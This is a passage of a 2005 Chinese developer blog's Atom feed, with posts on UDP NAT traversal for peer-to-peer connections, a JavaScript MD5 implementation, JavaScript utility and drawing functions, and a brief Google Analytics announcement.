D(["mb","&lt;WBR&gt;BN， 如果A在获取到B对应的BN的IP地址和映射的端口后&lt;WBR&gt;，迫不急待的向这个IP 地址和映射的端口发送了个UDP数据包，会有什么情况发生呢&lt;WBR&gt;？依据上面的原理和数据结构我们会知道，AN会在自己的数据结构中&lt;WBR&gt;生成一条记录，标识一个新Session的存在。BN在收到数据包&lt;WBR&gt;后，从自己的数据结构中查询，没有找到相关记录，因此将包丢弃&lt;WBR&gt;。B是个慢性子，此时才慢吞吞的向着AN的IP地址和映射的端口发&lt;WBR&gt;送了一个UDP数据包，结果如何呢？当然是我们期望的结构了&lt;WBR&gt;，AN在收到数据包后，从自己的数据结构中查找到了记录&lt;WBR&gt;，所以将数据包进行处理发送给了A。A 再次向B发送数据包时，一切都时畅通无阻了。OK, 大工告成！且慢，这时对于Cone NAPT而言，对于Symmetric NAPT呢？呵呵，自己分析一下吧... \n&lt;/p&gt;\n&lt;p&gt;NAPT(The IP Network Address/Port Translator) 进行UDP穿透的具体情况分析! &lt;/p&gt;\n&lt;p&gt;首先明确的将NAPT设备按照上面的说明分为: Symmetric NAPT 和 Cone NAPT, Cone NAPT 是我们需要的。Win9x/2K/XP/2003 自带的NAPT也为Cone NAPT。 &lt;/p&gt;\n&lt;p&gt;第一种情况, 双方都是Symmetric NAPT: &lt;/p&gt;\n&lt;p&gt;此情况应给不存在什么问题，肯定是不支持UDP穿透。 &lt;/p&gt;\n&lt;p&gt;第二种情况, 双方都是Cone NAPT: &lt;/p&gt;\n&lt;p&gt;此情况是我们需要的，可以进行UDP穿透。 &lt;/p&gt;\n&lt;p&gt;第三种情况, 一个是Symmetric NAPT, 一个是Cone NAPT: &lt;/p&gt;\n&lt;p&gt;此情况比较复杂，但我们按照上面的描述和数据机构进行一下分析也很&lt;WBR&gt;容易就会明白了, 分析如下, &lt;/p&gt;\n&lt;p&gt;假设: A -&gt; Symmetric NAT, B -&gt; Cone NAT &lt;/p&gt;\n&lt;p&gt;1. A 想连接 B, A 从服务器那儿获取到 B 的NAT地址和映射端口, A 通知服务器，服务器告知 B A的NAT地址和映射端口, B 向 A 发起连接，A 肯定无法接收到。此时 A 向 B 发起连接， A 对应的NAT建立了一个新的Session，分配了一个新的映射端&lt;WBR&gt;口， B 的 NAT 接收到UDP包后，在自己的映射表中查询，无法找到映射项&lt;WBR&gt;，因此将包丢弃了。 &lt;/p&gt;\n&lt;p&gt;2. B 想连接 A, B 从服务器那儿获取到 A 的NAT地址和映射端口, B 通知服务器, 服务器告知 A B的NAT地址和映射端口,A 向 B 发起连接, A 对应的NAT建立了一个新的Session，分配了一个新的映射端&lt;WBR&gt;口B肯定无法接收到。此时 B 向 A 发起连接, 由于 B 无法获取 A 建立的新的Session的映射端口，仍是使用服务器上获取的映射&lt;WBR&gt;端口进行连接， 因此 A 的NAT在接收到UDP包后，在自己的映射表中查询&lt;WBR&gt;，无法找到映射项, 因此将包丢弃了。 \n&lt;/p&gt;\n&lt;p&gt;根据以上分析，只有当连接的两端的NAT都为Cone NAT的情况下，才能进行UDP的内网穿透互联。 &lt;/p&gt;\n&lt;p&gt;&lt;br&gt;NAPT(The IP Network Address/Port Translator) 进行UDP穿透如何进行现实的验证和分析! &lt;/p&gt;\n&lt;p&gt;需要的网络结构如下: &lt;/p&gt;\n&lt;p&gt;三个NAT后面的内网机器，两个外网服务器。其中两台Cone NAPT，一台 Symmetric NAPT。 &lt;/p&gt;\n&lt;p&gt;验证方法: &lt;/p&gt;\n&lt;p&gt;可以使用本程序提供的源码，编译，然后分别运行服务器程序和客户端&lt;WBR&gt;。修改过后的源码增加了客户端之间直接通过IP地址和端口发送消息&lt;WBR&gt;的命令，利用此命令，你可以手动的验证NAPT的穿透情况&lt;WBR&gt;。为了方便操作，推荐你使用一个远程登陆软件，可以直接在一台机器&lt;WBR&gt;上操作所有的相关的计算机，这样很方便，一个人就可以完成所有的工&lt;WBR&gt;作了。呵呵，本人就是这么完成的。欢迎有兴趣和经验的朋友来信批评&lt;WBR&gt;指正，共同进步。 &lt;/p&gt;\n&lt;div&gt;取自&quot;&lt;a href=\"http://wiki.bitcomet.com/help-zh/P2P%E4%B9%8BUDP%E7%A9%BF%E9%80%8FNAT%E7%9A%84%E5%8E%9F%E7%90%86%E4%B8%8E%E5%AE%9E%E7%8E%B0--%E5%A2%9E%E5%BC%BA%E7%AF%87%28%E9%99%84%E6%BA%90%E4%BB%A3%E7%A0%81%29\" target=\"_blank\" onclick=\"return top.js.OpenExtLink(window,event,this)\"&gt;",1]
);

//--&gt;
</SCRIPT>
 <WBR></WBR>BN， 如果A在获取到B对应的BN的IP地址和映射的端口后<WBR></WBR>，迫不急待的向这个IP 地址和映射的端口发送了个UDP数据包，会有什么情况发生呢<WBR></WBR>？依据上面的原理和数据结构我们会知道，AN会在自己的数据结构中<WBR></WBR>生成一条记录，标识一个新Session的存在。BN在收到数据包<WBR></WBR>后，从自己的数据结构中查询，没有找到相关记录，因此将包丢弃<WBR></WBR>。B是个慢性子，此时才慢吞吞的向着AN的IP地址和映射的端口发<WBR></WBR>送了一个UDP数据包，结果如何呢？当然是我们期望的结构了<WBR></WBR>，AN在收到数据包后，从自己的数据结构中查找到了记录<WBR></WBR>，所以将数据包进行处理发送给了A。A 再次向B发送数据包时，一切都时畅通无阻了。OK, 大工告成！且慢，这时对于Cone NAPT而言，对于Symmetric NAPT呢？呵呵，自己分析一下吧... </P>
<P>NAPT(The IP Network Address/Port Translator) 进行UDP穿透的具体情况分析! </P>
<P>首先明确的将NAPT设备按照上面的说明分为: Symmetric NAPT 和 Cone NAPT, Cone NAPT 是我们需要的。Win9x/2K/XP/2003 自带的NAPT也为Cone NAPT。 </P>
<P>第一种情况, 双方都是Symmetric NAPT: </P>
<P>此情况应给不存在什么问题，肯定是不支持UDP穿透。 </P>
<P>第二种情况, 双方都是Cone NAPT: </P>
<P>此情况是我们需要的，可以进行UDP穿透。 </P>
<P>第三种情况, 一个是Symmetric NAPT, 一个是Cone NAPT: </P>
<P>此情况比较复杂，但我们按照上面的描述和数据机构进行一下分析也很<WBR></WBR>容易就会明白了, 分析如下, </P>
<P>假设: A -&gt; Symmetric NAT, B -&gt; Cone NAT </P>
<P>1. A 想连接 B, A 从服务器那儿获取到 B 的NAT地址和映射端口, A 通知服务器，服务器告知 B A的NAT地址和映射端口, B 向 A 发起连接，A 肯定无法接收到。此时 A 向 B 发起连接， A 对应的NAT建立了一个新的Session，分配了一个新的映射端<WBR></WBR>口， B 的 NAT 接收到UDP包后，在自己的映射表中查询，无法找到映射项<WBR></WBR>，因此将包丢弃了。 </P>
<P>2. B 想连接 A, B 从服务器那儿获取到 A 的NAT地址和映射端口, B 通知服务器, 服务器告知 A B的NAT地址和映射端口,A 向 B 发起连接, A 对应的NAT建立了一个新的Session，分配了一个新的映射端<WBR></WBR>口B肯定无法接收到。此时 B 向 A 发起连接, 由于 B 无法获取 A 建立的新的Session的映射端口，仍是使用服务器上获取的映射<WBR></WBR>端口进行连接， 因此 A 的NAT在接收到UDP包后，在自己的映射表中查询<WBR></WBR>，无法找到映射项, 因此将包丢弃了。 </P>
<P>根据以上分析，只有当连接的两端的NAT都为Cone NAT的情况下，才能进行UDP的内网穿透互联。 </P>
<P><BR>NAPT(The IP Network Address/Port Translator) 进行UDP穿透如何进行现实的验证和分析! </P>
<P>需要的网络结构如下: </P>
<P>三个NAT后面的内网机器，两个外网服务器。其中两台Cone NAPT，一台 Symmetric NAPT。 </P>
<P>验证方法: </P>
<P>可以使用本程序提供的源码，编译，然后分别运行服务器程序和客户端<WBR></WBR>。修改过后的源码增加了客户端之间直接通过IP地址和端口发送消息<WBR></WBR>的命令，利用此命令，你可以手动的验证NAPT的穿透情况<WBR></WBR>。为了方便操作，推荐你使用一个远程登陆软件，可以直接在一台机器<WBR></WBR>上操作所有的相关的计算机，这样很方便，一个人就可以完成所有的工<WBR></WBR>作了。呵呵，本人就是这么完成的。欢迎有兴趣和经验的朋友来信批评<WBR></WBR>指正，共同进步。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=155" /> 
	  <id>http://www.openx.cn/default.asp?id=155</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MD5加密的javascript实现例子]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-15T15:06:22+08:00</updated>
	  <published>2005-11-15T15:06:22+08:00</published>
		  <summary type="html"><![CDATA[/* MD5 Message-Digest Algorithm - JavaScript <BR>' MODIFICATION HISTORY: <BR>' 1.0 16-Feb-2001 - Phil Fresle (sales@frez.co.uk) - Initial Version (VB/ASP code) <BR>' 1.0 21-Feb-2001 - Enrico Mosanghini (erik504@yahoo.com) - JavaScript porting <BR>*/ <BR>function MD5(sMessage) { <BR>function RotateLeft(lValue, iShiftBits) { return (lValue&lt;&lt;iShiftBits) | (lValue&gt;&gt;&gt;(32-iShiftBits)); } <BR>function AddUnsigned(lX,lY) { <BR>var lX4,lY4,lX8,lY8,lResult; <BR>lX8 = (lX & 0x80000000); <BR>lY8 = (lY & 0x80000000); <BR>lX4 = (lX & 0x40000000); <BR>lY4 = (lY & 0x40000000); <BR>lResult = (lX & 0x3FFFFFFF)+(lY & 0x3FFFFFFF); <BR>if (lX4 & lY4) return (lResult ^ 0x80000000 ^ lX8 ^ lY8); <BR>if (lX4 | lY4) { <BR>if (lResult & 0x40000000) return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); <BR>else return (lResult ^ 0x40000000 ^ lX8 ^ lY8); <BR>} else return (lResult ^ lX8 ^ lY8); <BR>} <BR>function F(x,y,z) { return (x & y) | ((~x) & z); } <BR>function G(x,y,z) { return (x & z) | (y & (~z)); } <BR>function H(x,y,z) { return (x ^ y ^ z); } <BR>function I(x,y,z) { return (y ^ (x | (~z))); } <BR>function FF(a,b,c,d,x,s,ac) { <BR>a = AddUnsigned(a, AddUnsigned(AddUnsigned(F(b, c, d), x), ac)); <BR>return AddUnsigned(RotateLeft(a, s), b); <BR>} <BR>function GG(a,b,c,d,x,s,ac) { <BR>a = AddUnsigned(a, AddUnsigned(AddUnsigned(G(b, c, d), x), ac)); <BR>return AddUnsigned(RotateLeft(a, s), b); <BR>} <BR>function HH(a,b,c,d,x,s,ac) { <BR>a = AddUnsigned(a, AddUnsigned(AddUnsigned(H(b, c, d), x), ac)); <BR>return AddUnsigned(RotateLeft(a, s), b); <BR>} <BR>function II(a,b,c,d,x,s,ac) { <BR>a = AddUnsigned(a, AddUnsigned(AddUnsigned(I(b, c, d), x), ac)); <BR>return AddUnsigned(RotateLeft(a, s), b); <BR>} <BR>function ConvertToWordArray(sMessage) { <BR>var lWordCount; <BR>var lMessageLength = sMessage.length; <BR>var lNumberOfWords_temp1=lMessageLength + 8; <BR>var lNumberOfWords_temp2=(lNumberOfWords_temp1-(lNumberOfWords_temp1 % 64))/64; <BR>var lNumberOfWords = (lNumberOfWords_temp2+1)*16; <BR>var lWordArray=Array(lNumberOfWords-1); <BR>var lBytePosition = 0; <BR>var lByteCount = 0; <BR>while ( lByteCount &lt; lMessageLength ) { <BR>lWordCount = (lByteCount-(lByteCount % 4))/4; <BR>lBytePosition = (lByteCount % 4)*8; <BR>lWordArray[lWordCount] = (lWordArray[lWordCount] | (sMessage.charCodeAt(lByteCount)&lt;&lt;lBytePosition)); <BR>lByteCount++; <BR>} <BR>lWordCount = (lByteCount-(lByteCount % 4))/4; <BR>lBytePosition = (lByteCount % 4)*8; <BR>lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80&lt;&lt;lBytePosition); <BR>lWordArray[lNumberOfWords-2] = lMessageLength&lt;&lt;3; <BR>lWordArray[lNumberOfWords-1] = lMessageLength&gt;&gt;&gt;29; <BR>return lWordArray; <BR>} <BR>function WordToHex(lValue) { <BR>var WordToHexValue="",WordToHexValue_temp="",lByte,lCount; <BR>for (lCount = 0;lCount&lt;=3;lCount++) { <BR>lByte = (lValue&gt;&gt;&gt;(lCount*8)) & 255; <BR>WordToHexValue_temp = "0" + lByte.toString(16); <BR>WordToHexValue = WordToHexValue + WordToHexValue_temp.substr(WordToHexValue_temp.length-2,2); <BR>} <BR>return WordToHexValue; <BR>} <BR>var x=Array(); <BR>var k,AA,BB,CC,DD,a,b,c,d <BR>var S11=7, S12=12, S13=17, S14=22; <BR>var S21=5, S22=9 , S23=14, S24=20; <BR>var S31=4, S32=11, S33=16, S34=23; <BR>var S41=6, S42=10, S43=15, S44=21; <BR>// Steps 1 and 2. Append padding bits and length and convert to words <BR>x = ConvertToWordArray(sMessage); <BR>// Step 3. Initialise <BR>a = 0x67452301; b = 0xEFCDAB89; c = 0x98BADCFE; d = 0x10325476; <BR>// Step 4. Process the message in 16-word blocks <BR>for (k=0;k&lt;x.length;k+=16) { <BR>AA=a; BB=b; CC=c; DD=d; <BR>a=FF(a,b,c,d,x[k+0], S11,0xD76AA478); <BR>d=FF(d,a,b,c,x[k+1], S12,0xE8C7B756); <BR>c=FF(c,d,a,b,x[k+2], S13,0x242070DB); <BR>b=FF(b,c,d,a,x[k+3], S14,0xC1BDCEEE); <BR>a=FF(a,b,c,d,x[k+4], S11,0xF57C0FAF); <BR>d=FF(d,a,b,c,x[k+5], S12,0x4787C62A); <BR>c=FF(c,d,a,b,x[k+6], S13,0xA8304613); <BR>b=FF(b,c,d,a,x[k+7], S14,0xFD469501); <BR>a=FF(a,b,c,d,x[k+8], S11,0x698098D8); <BR>d=FF(d,a,b,c,x[k+9], S12,0x8B44F7AF); <BR>c=FF(c,d,a,b,x[k+10],S13,0xFFFF5BB1); <BR>b=FF(b,c,d,a,x[k+11],S14,0x895CD7BE); <BR>a=FF(a,b,c,d,x[k+12],S11,0x6B901122); <BR>d=FF(d,a,b,c,x[k+13],S12,0xFD987193); <BR>c=FF(c,d,a,b,x[k+14],S13,0xA679438E); <BR>b=FF(b,c,d,a,x[k+15],S14,0x49B40821); <BR>a=GG(a,b,c,d,x[k+1], S21,0xF61E2562); <BR>d=GG(d,a,b,c,x[k+6], S22,0xC040B340); <BR>c=GG(c,d,a,b,x[k+11],S23,0x265E5A51); <BR>b=GG(b,c,d,a,x[k+0], S24,0xE9B6C7AA); <BR>a=GG(a,b,c,d,x[k+5], S21,0xD62F105D); <BR>d=GG(d,a,b,c,x[k+10],S22,0x2441453); <BR>c=GG(c,d,a,b,x[k+15],S23,0xD8A1E681); <BR>b=GG(b,c,d,a,x[k+4], S24,0xE7D3FBC8); <BR>a=GG(a,b,c,d,x[k+9], S21,0x21E1CDE6); <BR>d=GG(d,a,b,c,x[k+14],S22,0xC33707D6); <BR>c=GG(c,d,a,b,x[k+3], S23,0xF4D50D87); <BR>b=GG(b,c,d,a,x[k+8], S24,0x455A14ED); <BR>a=GG(a,b,c,d,x[k+13],S21,0xA9E3E905); <BR>d=GG(d,a,b,c,x[k+2], S22,0xFCEFA3F8); <BR>c=GG(c,d,a,b,x[k+7], S23,0x676F02D9); <BR>b=GG(b,c,d,a,x[k+12],S24,0x8D2A4C8A); <BR>a=HH(a,b,c,d,x[k+5], S31,0xFFFA3942); <BR>d=HH(d,a,b,c,x[k+8], S32,0x8771F681); <BR>c=HH(c,d,a,b,x[k+11],S33,0x6D9D6122); <BR>b=HH(b,c,d,a,x[k+14],S34,0xFDE5380C); <BR>a=HH(a,b,c,d,x[k+1], S31,0xA4BEEA44); <BR>d=HH(d,a,b,c,x[k+4], S32,0x4BDECFA9); <BR>c=HH(c,d,a,b,x[k+7], S33,0xF6BB4B60); <BR>b=HH(b,c,d,a,x[k+10],S34,0xBEBFBC70); <BR>a=HH(a,b,c,d,x[k+13],S31,0x289B7EC6); <BR>d=HH(d,a,b,c,x[k+0], S32,0xEAA127FA); <BR>c=HH(c,d,a,b,x[k+3], S33,0xD4EF3085); <BR>b=HH(b,c,d,a,x[k+6], S34,0x4881D05); <BR>a=HH(a,b,c,d,x[k+9], S31,0xD9D4D039); <BR>d=HH(d,a,b,c,x[k+12],S32,0xE6DB99E5); <BR>c=HH(c,d,a,b,x[k+15],S33,0x1FA27CF8); <BR>b=HH(b,c,d,a,x[k+2], S34,0xC4AC5665); <BR>a=II(a,b,c,d,x[k+0], S41,0xF4292244); <BR>d=II(d,a,b,c,x[k+7], S42,0x432AFF97); <BR>c=II(c,d,a,b,x[k+14],S43,0xAB9423A7); <BR>b=II(b,c,d,a,x[k+5], S44,0xFC93A039); <BR>a=II(a,b,c,d,x[k+12],S41,0x655B59C3); <BR>d=II(d,a,b,c,x[k+3], S42,0x8F0CCC92); <BR>c=II(c,d,a,b,x[k+10],S43,0xFFEFF47D); <BR>b=II(b,c,d,a,x[k+1], S44,0x85845DD1); <BR>a=II(a,b,c,d,x[k+8], S41,0x6FA87E4F); <BR>d=II(d,a,b,c,x[k+15],S42,0xFE2CE6E0); <BR>c=II(c,d,a,b,x[k+6], S43,0xA3014314); <BR>b=II(b,c,d,a,x[k+13],S44,0x4E0811A1); <BR>a=II(a,b,c,d,x[k+4], S41,0xF7537E82); <BR>d=II(d,a,b,c,x[k+11],S42,0xBD3AF235); <BR>c=II(c,d,a,b,x[k+2], S43,0x2AD7D2BB); <BR>b=II(b,c,d,a,x[k+9], S44,0xEB86D391); <BR>a=AddUnsigned(a,AA); b=AddUnsigned(b,BB); c=AddUnsigned(c,CC); d=AddUnsigned(d,DD); <BR>} <BR>// Step 5. Output the 128 bit digest <BR>var temp= WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d); <BR>return temp.toLowerCase();<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=154" /> 
	  <id>http://www.openx.cn/default.asp?id=154</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Javascript 常用函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-15T14:57:13+08:00</updated>
	  <published>2005-11-15T14:57:13+08:00</published>
		  <summary type="html"><![CDATA[//判断是否是日期型数据<BR>function isDate(dateVal)<BR>{<BR>var a1=dateVal.replace(/-/g,"/");<BR>var dd=new Date(a1);<BR>var ss=dd.getYear();<BR>if(isNaN(ss))<BR>return false;<BR>else<BR>return true;<BR>}
<P>//保留小数点精度，发现有些版本比较低的IE用不了toFixed函数，才写了这个<BR>//oldData：原数据<BR>//precision：精度<BR>function toFixedFunc(oldData,precision)<BR>{<BR>if(oldData.indexOf(".")&gt;=0)<BR>{<BR>var diff=oldData.length-(oldData.lastIndexOf(".")+1)<BR>if(diff&lt;=precision)<BR>{<BR>for(var i=0;i&lt;precision-diff;i++)<BR>oldData=oldData+"0";<BR>}<BR>else<BR>{<BR>//四舍五入<BR>oldData=oldData.substring(0,oldData.indexOf(".")+1+precision+1);<BR>var lastNum=parseInt(oldData.substring(oldData.length-1,oldData.length));<BR>oldData=oldData.substring(0,oldData.length-1);<BR>if(lastNum&gt;=5)<BR>{<BR>var newData=parseInt(oldData.substring(0,oldData.indexOf("."))+oldData.substring(oldData.indexOf(".")+1,oldData.length));<BR>newData=newData+1;<BR>oldData=newData.toString();<BR>oldData=oldData.substring(0,oldData.length-precision)+"."+oldData.substring(oldData.length-precision,oldData.length);<BR>}<BR>}<BR>}<BR>else<BR>{<BR>oldData=oldData+".";<BR>for(var i=0;i&lt;precision;i++)<BR>oldData=oldData+"0";<BR>}<BR>return oldData;<BR>}</P>
<P>//去掉空格<BR>//oldStr:原数据<BR>//place:left,right,为空的话去掉左右空格<BR>function trim(oldStr,place)<BR>{<BR>if(place=="left")<BR>newStr=lTrim(oldStr);<BR>if(place=="right")<BR>newStr=rTrim(oldStr);<BR>if(place.length==0)<BR>newStr=lTrim(rTrim(oldStr));<BR>dd.value=newStr;<BR>}<BR>//去掉左边的空格<BR>//oldStr:原数据<BR>function lTrim(oldStr)<BR>{<BR>var beginPlace=0;<BR>var newStr="";<BR>var tmpStr=oldStr.split(" ");<BR>for(var i=0;i&lt;tmpStr.length;i++)<BR>if(tmpStr[i].length&gt;0)<BR>{<BR>beginPlace=i;<BR>break;<BR>}<BR>for(var i=beginPlace;i&lt;tmpStr.length;i++)<BR>newStr=newStr+tmpStr[i]+" ";<BR>return newStr.substring(0,newStr.length-1);<BR>}<BR>//去掉右边的空格<BR>//oldStr:原数据<BR>function rTrim(oldStr)<BR>{<BR>var beginPlace=0;<BR>var newStr="";<BR>var tmpStr=oldStr.split(" ");<BR>for(var i=tmpStr.length-1;i&gt;=0;i--)<BR>if(tmpStr[i].length&gt;0)<BR>{<BR>beginPlace=i;<BR>break;<BR>}<BR>for(var i=0;i&lt;=beginPlace;i++)<BR>newStr=newStr+tmpStr[i]+" ";<BR>return newStr.substring(0,newStr.length-1);<BR>} </P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=153" /> 
	  <id>http://www.openx.cn/default.asp?id=153</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[JavaScript绘图函数]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-15T14:54:56+08:00</updated>
	  <published>2005-11-15T14:54:56+08:00</published>
		  <summary type="html"><![CDATA[&lt;html&gt; &lt;head&gt; &lt;title&gt;JavaScript绘图&lt;/title&gt; &lt;script language="JavaScript"&gt; IE4 = ! (navigator.appVersion.charAt(0) &lt; "4" || navigator.appName == "Netscape") var xo=0 var yo=0 var Ox = -1 var Oy = -1 var rad = Math.PI/180 var maxY = 400 var color = "red" function print(str) { document.write(str) } function orgY(y) { return maxY-y } function outPlot(x,y,w,h) { print(’&lt;span style="position:absolute;left:’+x+’;top:’+y+’;height:’+h+’;width:’+w+’;font-size:1px;background-color:’+color+’"&gt;&lt;/span&gt;’) } function Plot(x,y) { outPlot(x,y,1,1) if(Ox&gt;=0 || Oy&gt;=0) { ShowLine(Ox,Oy,x-Ox,y-Oy) } Ox = x Oy = y } function ShowLine(x,y,w,h) { if(w&lt;0) { x += w w = Math.abs(w) } if(h&lt;0) { y += h h = Math.abs(h) } if(w&lt;1) w=1 if(h&lt;1) h=1 outPlot(x,y,Math.round(w),Math.round(h)) } function LineTo(x,y) { Line(xo,yo,x,y) } function sign(n) { if(n&gt;0) return 1 if(n&lt;0) return -1 return n } function Line(x1,y1,x2,y2) { x2 = Math.round(x2) y2 = Math.round(y2) xo = x2 yo = y2 y1 = orgY(y1) y2 = orgY(y2) var str = "" var i=0 var x = x1 var y = y1 dx = Math.abs(x2-x1) dy = Math.abs(y2-y1) s1 = sign(x2-x1) s2 = sign(y2-y1) if(dx==0 || dy==0) { ShowLine(x1,y1,x2-x1,y2-y1) return } if(dx&gt;dy) { temp = dx dx = dy dy = temp key = 1 }else key = 0 e = 2*dy-dx for(i=0;i&lt;dx;i++) { px = 0 py = 0 Plot(x,y) while(e&gt;=0) { if(key==1) { x += s1 px += s1 }else { y += s2 py += s2 } e = e-2*dx } if(key==1) y += s2 else x += s1 e = e+2*dy } } function MoveTo(x,y) { Ox = Oy = -1 xo = Math.round(x) yo = Math.round(y) } // 圆 function Cir(x,y,r) { MoveTo(x+r,y) for(i=0;i&lt;=360;i+=5) { LineTo(r*Math.cos(i*rad)+x,r*Math.sin(i*rad)+y) } } // 弧形 function Arc(x,y,r,a1,a2) { MoveTo(r*Math.cos(a1*rad)+x,r*Math.sin(a1*rad)+y) for(i=a1;i&lt;=a2;i++) { LineTo(r*Math.cos(i*rad)+x,r*Math.sin(i*rad)+y) } } // 扇形 function Pei(x,y,r,a1,a2) { MoveTo(x,y) for(var i=a1;i&lt;=a2;i++) { LineTo(r*Math.cos(i*rad)+x,r*Math.sin(i*rad)+y) } LineTo(x,y) } // 弹出扇形 function PopPei(x,y,r,a1,a2) { dx = r*Math.cos((a1+(a2-a1)/2)*rad)/10 dy = r*Math.sin((a1+(a2-a1)/2)*rad)/10 x += dx y += dy MoveTo(x,y) for(var i=a1;i&lt;=a2;i++) { LineTo(r*Math.cos(i*rad)+x,r*Math.sin(i*rad)+y) } LineTo(x,y) } // 矩形 function Rect(x,y,w,h) { MoveTo(x,y) LineTo(x+w,y) LineTo(x+w,y+h) LineTo(x,y+h) LineTo(x,y) } // 准星 function zhunxing(x,y) { var ox = xo var oy = yo var oColor = color color = "#000000" Line(x-5,y,x+6,y) Line(x,y-6,x,y+5) print(’&lt;span style="position:absolute;font-size:10pt;left:’+(x+5)+’;top:’+orgY(y+5)+’;"&gt;[’+x+’,’+y+’]&lt;/span&gt;’) color = oColor xo = ox yo = oy } // 标注 function biaozhuStr(x,y,s) { return ’&lt;span style="position:absolute;font-size:10pt;left:’+x+’;top:’+orgY(y)+’;"&gt;’+s+’&lt;/span&gt;’ } function biaozhu(x,y,s,t) { var ox = xo var oy = yo var oColor = color point = "p01.gif" if(t==1) { print(biaozhuStr(x-5,y+6,"·"+s)) } if(t==2) { print(biaozhuStr(xo+x*Math.cos(y*rad)-10,yo+x*Math.sin(y*rad),s)) } color = oColor xo = ox yo = oy } &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;table border="0" width="100%"&gt; &lt;tr&gt; &lt;td width="100%" style="font-family: 方正舒体; font-size: 18pt; color: #FF0000" class="t1"&gt;JavaScript绘图&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td width="100%" style="font-family: 幼圆; font-size: 12pt; color: #008000" class="t2"&gt; 如果需要在网页上提供图形化的资料，通常是将其制作成图片，但这样一来网络上的开销就太大了。有什么办法呢？这里向你提供一组JavaScript函数，来解决这一问题。虽然简单了点，但是对画点线图来说还是绰绰有余的！&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;script&gt; if(IE4) { // 基本图形 color = "maroon" Cir(50,40,20) Arc(100,40,20,60,120) Pei(150,60,40,240,300) Rect(200,20,40,40) // 折线图 color = "#FF0000" var jd = new Array( 203,232,277,223,271,234,273,284,276,250,267,280 ) MoveTo(30,jd[0]-40) biaozhu(xo,yo,jd[0]) for(i=1;i&lt;jd.length;i++) { LineTo(i*30+30,jd[i]-40) biaozhu(xo,yo,jd[i],1) } color = "#C0C0C0" Line(30,140,i*30+30,140) Line(30,140,30,260) // 饼图 color = "#00FF00" var gc = new Array( 150,120,200,180,180 ) var s = 0 var m = 0 var n = 0 for(i=0;i&lt;gc.length;i++) { s +=gc[i] if(gc[i] &gt; m) { m = gc[i] n = i } } var k = s/360 var mm = 0 var a =0 for(i=0;i&lt;gc.length;i++) { b = Math.round((gc[i]+mm)/k) if(i==n) PopPei(600,150,100,a,b) else Pei(600,150,100,a,b) biaozhu(60,a+(b-a)/2,Math.round(gc[i]/s*100)+"%",2) mm = mm+gc[i] a = b } // 十字标注 MoveTo(280,20) zhunxing(xo,yo) }else { document.write("&lt;p&gt; &lt;/p&gt;&lt;table bgcolor=#FF0000&gt;&lt;tr&gt;&lt;td&gt;&lt;font color=#FFFF00&gt;对不起！您的浏览器不能支持该页的某些功能，请换用IE4.0以上版本的浏览器！谢谢！&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;") } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=152" /> 
	  <id>http://www.openx.cn/default.asp?id=152</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google也有站点统计分析啦]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2005-11-15T14:10:32+08:00</updated>
	  <published>2005-11-15T14:10:32+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]https://www.google.com/analytics/home/images/logo.gif[/img]</P>
<P>&nbsp;</P>
<P>地址:http://www.google.com/analytics/</P>
<P>&nbsp;</P>
<P>我也在第一时间给自己的日志加上咯~哈哈~这不知道又会有多少家统计网站下岗咯~</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=151" /> 
	  <id>http://www.openx.cn/default.asp?id=151</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[UBB 转换函数 Javascript]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-15T11:17:53+08:00</updated>
	  <published>2005-11-15T11:17:53+08:00</published>
		  <summary type="html"><![CDATA[<P>&lt;style&gt;<BR>.CodeSamp {<BR>&nbsp;PADDING-RIGHT: 0.5em; MARGIN-TOP: 1em; PADDING-LEFT: 0.5em; FONT-SIZE: 8p; MARGIN-BOTTOM: 1em; PADDING-BOTTOM: 0.5em; MARGIN-LEFT: 0pt; PADDING-TOP: 0.5em; FONT-FAMILY: "Courier New"; BACKGROUND-COLOR: #eeeeee;width: 480px;overflow:hidden;border: 1px solid #888888;<BR>}<BR>textarea {<BR>border-width: 1; border-color: #000000;font-size: 12px;FONT-FAMILY: "Tahoma", "MS Shell Dlg";<BR>}<BR>&lt;/style&gt;</P>
<P>&lt;TEXTAREA name=phx cols=65 rows=12&gt;<BR>[i][b][color=blue]blue[/color][/b][/i]</P>
